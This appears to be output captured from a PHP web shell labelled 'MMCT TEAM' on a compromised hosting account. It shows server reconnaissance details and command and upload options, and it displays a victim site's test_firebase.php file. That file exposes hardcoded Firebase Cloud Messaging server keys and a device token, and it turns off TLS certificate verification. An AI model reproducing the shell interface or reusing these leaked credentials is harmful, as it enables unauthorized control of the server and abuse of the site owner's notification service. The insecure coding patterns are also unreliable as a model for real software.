MMCT TEAM
Server IP : 2a02:4780:3:1378:0:3736:a38e:10  /  Your IP : 18.119.248.114
Web Server : LiteSpeed
System : Linux sg-nme-web1278.main-hosting.eu 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/api/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/api/test_firebase.php
<?php
//Using fcm token
function CloudMessageViaFCM($token,$title,$message)
    {
        //define( 'API_ACCESS_KEY', "AIzaSyC8GlmVD1P-_e9GrqfpM16GpODNUtIin_U");
        define( 'API_ACCESS_KEY', "AAAApa7uoG8:APA91bEl3TZ_r7zIgXOD-1s0cqsyD1mjNQCbxd16IZhM7T9swUbdPNIuO6j2GBQX59SZRqQWDSGHkWjViFr0fUi1Z19xadn62BOCDjz88qN0tCot_RA8cPMbH1yY5ubGMd6i4-ivhWFC");
        $topic="/topics/demor-PUCIYEAR-SCIENCE";
        $msg = array
        (
            'body'  => $message,
            'title'     => $title,
            'vibrate'   => 1,
            'sound'     => 1,
        );
        
        $fields = array
        (
            'to'  => $token,
            'notification'=> $msg,
            
        );
        
        $headers = array
        (
            'Authorization: key=' . API_ACCESS_KEY,
            'Content-Type: application/json'
        );
        
        $ch = curl_init();
        curl_setopt( $ch,CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send' );
        curl_setopt( $ch,CURLOPT_POST, true );
        curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );
        curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );
        curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );
        curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $fields ) );
        $result = curl_exec($ch );
        echo"<pre>"; print_r($result); exit;
        curl_close( $ch );
    }
    //CloudMessageViaFCM('dSOzPtA1hYs:APA91bEanF2nGNKEr1xJsBpll26M0aebajyMkuXBFIvCZE2p2lUZKQrnfS6bVl_ft1osIgUw-JWyz0eSN2baber4G1BRwxxlNLm0QBmUZYbRYE8_vbE6bBwil_ei9UjSr3_Q8kJV2oCh','test987','test987');
    
    
    //using topics
    define( 'API_ACCESS_KEY', "AAAApa7uoG8:APA91bEl3TZ_r7zIgXOD-1s0cqsyD1mjNQCbxd16IZhM7T9swUbdPNIuO6j2GBQX59SZRqQWDSGHkWjViFr0fUi1Z19xadn62BOCDjz88qN0tCot_RA8cPMbH1yY5ubGMd6i4-ivhWFC");
    $topic="/topics/demor-PUCIYEAR-SCIENCE";
    
    $message = array(
        'body'  => '123 This is a test notification.',
        'title' => '123 Test Notification',
    );
    
    $data = array(
        'key1' => 'value1',
        'key2' => 'value2',
    );
    
    $fields = array(
        'to'            => $topic,
        'notification'  => $message,
        'data'          => $data, // Optional: Include data payload
    );
    
    $headers = array(
        'Authorization: key=' . API_ACCESS_KEY,
        'Content-Type: application/json',
    );


    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, 'https://fcm.googleapis.com/fcm/send');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($fields));
    
    $result = curl_exec($ch);
    
    if (curl_errno($ch)) {
        echo 'Curl error: ' . curl_error($ch);
    } else {
        echo $result;
    }
    curl_close($ch);
?>

MMCT - 2023